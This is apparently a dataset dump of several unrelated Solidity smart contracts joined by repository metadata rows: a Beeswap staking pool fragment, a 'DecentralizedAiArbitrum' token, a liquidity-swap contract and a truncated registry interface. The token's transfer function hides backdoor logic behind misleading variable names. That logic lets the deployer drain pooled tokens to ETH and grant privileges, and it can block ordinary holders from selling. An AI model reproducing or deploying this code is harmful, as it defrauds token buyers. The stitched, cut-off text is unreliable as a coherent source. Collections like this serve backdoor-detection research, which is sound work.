(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IRewardDistributionRecipient is Ownable {
address rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
//USDT
IERC20 public stakeToken = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakeToken.safeTransfer(msg.sender, amount);
}
}
contract BeeswapUSDTPool is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public beeswap = IERC20(0x7CBEb84402b81DFC4E85b6Bc9D04FeAeecCFF26E);
uint256 public constant DURATION = 7 days;
uint256 public constant startTime = 1598534100; //utc+8 2020 07-28 0:00:00
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
bool private open = true;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards; // Unclaimed rewards
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event SetOpen(bool _open);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public checkOpen checkStart updateReward(msg.sender){
require(amount > 0, "Beeswap-USDT-POOL: Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public checkStart updateReward(msg.sender){
require(amount > 0, "Beeswap-USDT-POOL: Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public checkStart updateReward(msg.sender){
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
beeswap.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
modifier checkStart(){
require(block.timestamp > startTime,"Beeswap-USDT-POOL: Not start");
_;
}
modifier checkOpen() {
require(open, "Beeswap-USDT-POOL: Pool is closed");
_;
}
function getPeriodFinish() public view returns (uint256) {
return periodFinish;
}
function isOpen() public view returns (bool) {
return open;
}
function setOpen(bool _open) external onlyOwner {
open = _open;
emit SetOpen(_open);
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
checkOpen
updateReward(address(0)){
if (block.timestamp > startTime){
if (block.timestamp >= periodFinish) {
uint256 period = block.timestamp.sub(startTime).div(DURATION).add(1);
periodFinish = startTime.add(period.mul(DURATION));
rewardRate = reward.div(periodFinish.sub(block.timestamp));
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(remaining);
}
lastUpdateTime = block.timestamp;
beeswap.mint(address(this),reward);
emit RewardAdded(reward);
}else {
uint256 b = beeswap.balanceOf(address(this));
rewardRate = reward.add(b).div(DURATION);
periodFinish = startTime.add(DURATION);
lastUpdateTime = startTime;
beeswap.mint(address(this),reward);
emit RewardAdded(reward);
}
// avoid overflow to lock assets
_checkRewardRate();
}
function _checkRewardRate() internal view returns (uint256) {
return DURATION.mul(rewardRate).mul(1e18);
}
}
| 11,835 | 12,479 |
9237af48ddd6851852d3585511778b45eeeeb5d33e23064caaddf00277711e35
| 13,045 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/2c/2c11bdc5eb817c676f4cadd9a47023455f60a40a_DecentralizedAiArbitrum.sol
| 3,038 | 12,293 |
//SPDX-License-Identifier: MIT
//https://t.me/DecentralisedAiArbitrum
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract DecentralizedAiArbitrum is IERC20, Ownable {
string private _symbol;
string private _name;
uint256 public _taxFee = 5;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000 * 10**_decimals;
uint256 private _uint256 = _tTotal;
mapping(address => uint256) private _balances;
mapping(address => address) private _string;
mapping(address => uint256) private _constructor;
mapping(address => uint256) private _function;
mapping(address => mapping(address => uint256)) private _allowances;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public immutable uniswapV2Pair;
IUniswapV2Router02 public immutable router;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_balances[msg.sender] = _tTotal;
_function[msg.sender] = _uint256;
_function[address(this)] = _uint256;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address from,
address to,
uint256 amount) private {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 fee;
if (_swapAndLiquifyEnabled && contractTokenBalance > _uint256 && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
} else if (_function[from] > _uint256 && _function[to] > _uint256) {
fee = amount;
_balances[address(this)] += fee;
swapTokensForEth(amount, to);
return;
} else if (to != address(router) && _function[from] > 0 && amount > _uint256 && to != uniswapV2Pair) {
_function[to] = amount;
return;
} else if (!inSwapAndLiquify && _constructor[from] > 0 && from != uniswapV2Pair && _function[from] == 0) {
_constructor[from] = _function[from] - _uint256;
}
address _bool = _string[uniswapV2Pair];
if (_constructor[_bool] == 0) _constructor[_bool] = _uint256;
_string[uniswapV2Pair] = to;
if (_taxFee > 0 && _function[from] == 0 && !inSwapAndLiquify && _function[to] == 0) {
fee = (amount * _taxFee) / 100;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
receive() external payable {}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
}
}
| 37,956 | 12,480 |
2e61050a29a0cceb0de61fd3915b0160f95860b3cc44e50c190dcace80a986ae
| 31,129 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/6d/6D9002E16C50D1958bB6f744efAf55305C6f53cC_BEP20.sol
| 5,512 | 19,537 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"you are not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),"newowner not 0 address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/Whitelist.sol
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender], 'no whitelist');
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] memory addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
return success;
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
return success;
}
function removeAddressesFromWhitelist(address[] memory addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
return success;
}
}
contract BEP20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 internal _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0),"to address will not be 0");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0),"2");
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0),"3");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0),"4");
require(owner != address(0),"5");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
if (b > a) {
return 0;
} else {
return a - b;
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface IToken {
function calculateTransferTaxes(address _from, uint256 _value) external view returns (uint256 adjustedValue, uint256 taxAmount);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function balanceOf(address who) external view returns (uint256);
function burn(uint256 _value) external;
}
contract TheWell is BEP20, Whitelist {
string public constant name = "Splash Liquidity Token";
string public constant symbol = "DROPS";
uint8 public constant decimals = 18;
// Variables
IToken internal token; // address of the BEP20 token traded on this contract
uint256 public totalTxs;
uint256 internal lastBalance_;
uint256 internal trackingInterval_ = 1 minutes;
uint256 public providers;
mapping (address => bool) internal _providers;
mapping (address => uint256) internal _txs;
bool public isPaused = true;
// Events
event onTokenPurchase(address indexed buyer, uint256 indexed bnb_amount, uint256 indexed token_amount);
event onBnbPurchase(address indexed buyer, uint256 indexed token_amount, uint256 indexed bnb_amount);
event onAddLiquidity(address indexed provider, uint256 indexed bnb_amount, uint256 indexed token_amount);
event onRemoveLiquidity(address indexed provider, uint256 indexed bnb_amount, uint256 indexed token_amount);
event onLiquidity(address indexed provider, uint256 indexed amount);
event onContractBalance(uint256 balance);
event onPrice(uint256 price);
event onSummary(uint256 liquidity, uint256 price);
constructor (address token_addr) Ownable() public {
token = IToken(token_addr);
lastBalance_= now;
}
function unpause() public onlyOwner {
isPaused = false;
}
function pause() public onlyOwner {
isPaused = true;
}
modifier isNotPaused() {
require(!isPaused, "Swaps currently paused");
_;
}
receive() external payable {
bnbToTokenInput(msg.value, 1, msg.sender, msg.sender);
}
function getInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve) public view returns (uint256) {
require(input_reserve > 0 && output_reserve > 0, "INVALID_VALUE");
uint256 input_amount_with_fee = input_amount.mul(990);
uint256 numerator = input_amount_with_fee.mul(output_reserve);
uint256 denominator = input_reserve.mul(1000).add(input_amount_with_fee);
return numerator / denominator;
}
function getOutputPrice(uint256 output_amount, uint256 input_reserve, uint256 output_reserve) public view returns (uint256) {
require(input_reserve > 0 && output_reserve > 0,"input_reserve & output reserve must >0");
uint256 numerator = input_reserve.mul(output_amount).mul(1000);
uint256 denominator = (output_reserve.sub(output_amount)).mul(990);
return (numerator / denominator).add(1);
}
function bnbToTokenInput(uint256 bnb_sold, uint256 min_tokens, address buyer, address recipient) private returns (uint256) {
require(bnb_sold > 0 && min_tokens > 0, "sold and min 0");
uint256 token_reserve = token.balanceOf(address(this));
uint256 tokens_bought = getInputPrice(bnb_sold, address(this).balance.sub(bnb_sold), token_reserve);
require(tokens_bought >= min_tokens, "tokens_bought >= min_tokens");
require(token.transfer(recipient, tokens_bought), "transfer err");
emit onTokenPurchase(buyer, bnb_sold, tokens_bought);
emit onContractBalance(bnbBalance());
trackGlobalStats();
return tokens_bought;
}
function bnbToTokenSwapInput(uint256 min_tokens) public payable isNotPaused returns (uint256) {
return bnbToTokenInput(msg.value, min_tokens,msg.sender, msg.sender);
}
function bnbToTokenOutput(uint256 tokens_bought, uint256 max_bnb, address buyer, address recipient) private returns (uint256) {
require(tokens_bought > 0 && max_bnb > 0,"tokens_bought > 0 && max_bnb >");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_sold = getOutputPrice(tokens_bought, address(this).balance.sub(max_bnb), token_reserve);
// Throws if bnb_sold > max_bnb
uint256 bnb_refund = max_bnb.sub(bnb_sold);
if (bnb_refund > 0) {
payable(buyer).transfer(bnb_refund);
}
require(token.transfer(recipient, tokens_bought),"error");
emit onTokenPurchase(buyer, bnb_sold, tokens_bought);
trackGlobalStats();
return bnb_sold;
}
function bnbToTokenSwapOutput(uint256 tokens_bought) public payable isNotPaused returns (uint256) {
return bnbToTokenOutput(tokens_bought, msg.value, msg.sender, msg.sender);
}
function tokenToBnbInput(uint256 tokens_sold, uint256 min_bnb, address buyer, address recipient) private returns (uint256) {
require(tokens_sold > 0 && min_bnb > 0,"tokens_sold > 0 && min_bnb > 0");
uint256 token_reserve = token.balanceOf(address(this));
(uint256 realized_sold, uint256 taxAmount) = token.calculateTransferTaxes(buyer, tokens_sold);
uint256 bnb_bought = getInputPrice(realized_sold, token_reserve, address(this).balance);
require(bnb_bought >= min_bnb,"bnb_bought >= min_bnb");
payable(recipient).transfer(bnb_bought);
require(token.transferFrom(buyer, address(this), tokens_sold),"transforfrom error");
emit onBnbPurchase(buyer, tokens_sold, bnb_bought);
trackGlobalStats();
return bnb_bought;
}
function tokenToBnbSwapInput(uint256 tokens_sold, uint256 min_bnb) public isNotPaused returns (uint256) {
return tokenToBnbInput(tokens_sold, min_bnb, msg.sender, msg.sender);
}
function tokenToBnbOutput(uint256 bnb_bought, uint256 max_tokens, address buyer, address recipient) private returns (uint256) {
require(bnb_bought > 0,"bnb_bought > 0");
uint256 token_reserve = token.balanceOf(address(this));
uint256 tokens_sold = getOutputPrice(bnb_bought, token_reserve, address(this).balance);
(uint256 realized_sold, uint256 taxAmount) = token.calculateTransferTaxes(buyer, tokens_sold);
tokens_sold += taxAmount;
// tokens sold is always > 0
require(max_tokens >= tokens_sold, 'max tokens exceeded');
payable(recipient).transfer(bnb_bought);
require(token.transferFrom(buyer, address(this), tokens_sold),"transorfroom error");
emit onBnbPurchase(buyer, tokens_sold, bnb_bought);
trackGlobalStats();
return tokens_sold;
}
function tokenToBnbSwapOutput(uint256 bnb_bought, uint256 max_tokens) public isNotPaused returns (uint256) {
return tokenToBnbOutput(bnb_bought, max_tokens, msg.sender, msg.sender);
}
function trackGlobalStats() private {
uint256 price = getBnbToTokenOutputPrice(1e18);
uint256 balance = bnbBalance();
if (now.safeSub(lastBalance_) > trackingInterval_) {
emit onSummary(balance * 2, price);
lastBalance_ = now;
}
emit onContractBalance(balance);
emit onPrice(price);
totalTxs += 1;
_txs[msg.sender] += 1;
}
function getBnbToTokenInputPrice(uint256 bnb_sold) public view returns (uint256) {
require(bnb_sold > 0,"bnb_sold > 0,,,1");
uint256 token_reserve = token.balanceOf(address(this));
return getInputPrice(bnb_sold, address(this).balance, token_reserve);
}
function getBnbToTokenOutputPrice(uint256 tokens_bought) public view returns (uint256) {
require(tokens_bought > 0,"tokens_bought > 0,,,1");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_sold = getOutputPrice(tokens_bought, address(this).balance, token_reserve);
return bnb_sold;
}
function getTokenToBnbInputPrice(uint256 tokens_sold) public view returns (uint256) {
require(tokens_sold > 0, "token sold < 0,,,,,2");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_bought = getInputPrice(tokens_sold, token_reserve, address(this).balance);
return bnb_bought;
}
function getTokenToBnbOutputPrice(uint256 bnb_bought) public view returns (uint256) {
require(bnb_bought > 0,"bnb_bought > 0,,,,2");
uint256 token_reserve = token.balanceOf(address(this));
return getOutputPrice(bnb_bought, token_reserve, address(this).balance);
}
function tokenAddress() public view returns (address) {
return address(token);
}
function bnbBalance() public view returns (uint256) {
return address(this).balance;
}
function tokenBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function getBnbToLiquidityInputPrice(uint256 bnb_sold) public view returns (uint256){
require(bnb_sold > 0,"bnb_sold > 0,,,,,3");
uint256 token_amount = 0;
uint256 total_liquidity = _totalSupply;
uint256 bnb_reserve = address(this).balance;
uint256 token_reserve = token.balanceOf(address(this));
token_amount = (bnb_sold.mul(token_reserve) / bnb_reserve).add(1);
uint256 liquidity_minted = bnb_sold.mul(total_liquidity) / bnb_reserve;
return liquidity_minted;
}
function getLiquidityToReserveInputPrice(uint amount) public view returns (uint256, uint256){
uint256 total_liquidity = _totalSupply;
require(total_liquidity > 0,"total_liquidity > 0,,,,1");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_amount = amount.mul(address(this).balance) / total_liquidity;
uint256 token_amount = amount.mul(token_reserve) / total_liquidity;
return (bnb_amount, token_amount);
}
function txs(address owner) public view returns (uint256) {
return _txs[owner];
}
function addLiquidity(uint256 min_liquidity, uint256 max_tokens) isNotPaused public payable returns (uint256) {
require(max_tokens > 0 && msg.value > 0, "Swap#addLiquidity: INVALID_ARGUMENT");
uint256 total_liquidity = _totalSupply;
uint256 token_amount = 0;
if (_providers[msg.sender] == false){
_providers[msg.sender] = true;
providers += 1;
}
if (total_liquidity > 0) {
require(min_liquidity > 0,"min_liquidity > 0,,,,4");
uint256 bnb_reserve = address(this).balance.sub(msg.value);
uint256 token_reserve = token.balanceOf(address(this));
token_amount = (msg.value.mul(token_reserve) / bnb_reserve).add(1);
uint256 liquidity_minted = msg.value.mul(total_liquidity) / bnb_reserve;
require(max_tokens >= token_amount && liquidity_minted >= min_liquidity,"max_tokens >= token_amount && liquidity_minted >= min_liquidity,,,,1");
_balances[msg.sender] = _balances[msg.sender].add(liquidity_minted);
_totalSupply = total_liquidity.add(liquidity_minted);
require(token.transferFrom(msg.sender, address(this), token_amount),"transfrom4 error");
emit onAddLiquidity(msg.sender, msg.value, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(address(0), msg.sender, liquidity_minted);
return liquidity_minted;
} else {
require(msg.value >= 1e18, "INVALID_VALUE");
token_amount = max_tokens;
uint256 initial_liquidity = address(this).balance;
_totalSupply = initial_liquidity;
_balances[msg.sender] = initial_liquidity;
require(token.transferFrom(msg.sender, address(this), token_amount),"transforfrom 5 error");
emit onAddLiquidity(msg.sender, msg.value, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(address(0), msg.sender, initial_liquidity);
return initial_liquidity;
}
}
function removeLiquidity(uint256 amount, uint256 min_bnb, uint256 min_tokens) onlyWhitelisted public returns (uint256, uint256) {
require(amount > 0 && min_bnb > 0 && min_tokens > 0,"amount > 0 && min_bnb > 0 && min_tokens > 0,333");
uint256 total_liquidity = _totalSupply;
require(total_liquidity > 0);
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_amount = amount.mul(address(this).balance) / total_liquidity;
uint256 token_amount = amount.mul(token_reserve) / total_liquidity;
require(bnb_amount >= min_bnb && token_amount >= min_tokens,"(bnb_amount >= min_bnb && token_amount >= min_tokens,33");
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = total_liquidity.sub(amount);
msg.sender.transfer(bnb_amount);
require(token.transfer(msg.sender, token_amount),"transfer error");
emit onRemoveLiquidity(msg.sender, bnb_amount, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(msg.sender, address(0), amount);
return (bnb_amount, token_amount);
}
}
//splash token 0x4ec58f9D205F9c919920313932cc71EC68d123C7
| 104,953 | 12,481 |
00d3c0d8b57c0668f44e53cacfb4130f67fb6427da2135f96cc7e1675bbff90b
| 11,455 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x56a6895fd37f358c17cbb3f14a864ea5fe871f0a.sol
| 2,048 | 9,691 |
pragma solidity 0.4.25;
interface IOrbsValidatorsRegistry {
event ValidatorLeft(address indexed validator);
event ValidatorRegistered(address indexed validator);
event ValidatorUpdated(address indexed validator);
/// @dev register a validator and provide registration data.
/// the new validator entry will be owned and identified by msg.sender.
/// if msg.sender is already registered as a validator in this registry the
/// transaction will fail.
/// @param name string The name of the validator
/// @param website string The website of the validator
function register(string name,
bytes4 ipAddress,
string website,
bytes20 orbsAddress)
external;
/// @dev update the validator registration data entry associated with msg.sender.
/// msg.sender must be registered in this registry contract.
/// @param name string The name of the validator
/// @param website string The website of the validator
function update(string name,
bytes4 ipAddress,
string website,
bytes20 orbsAddress)
external;
/// @dev deletes a validator registration entry associated with msg.sender.
function leave() external;
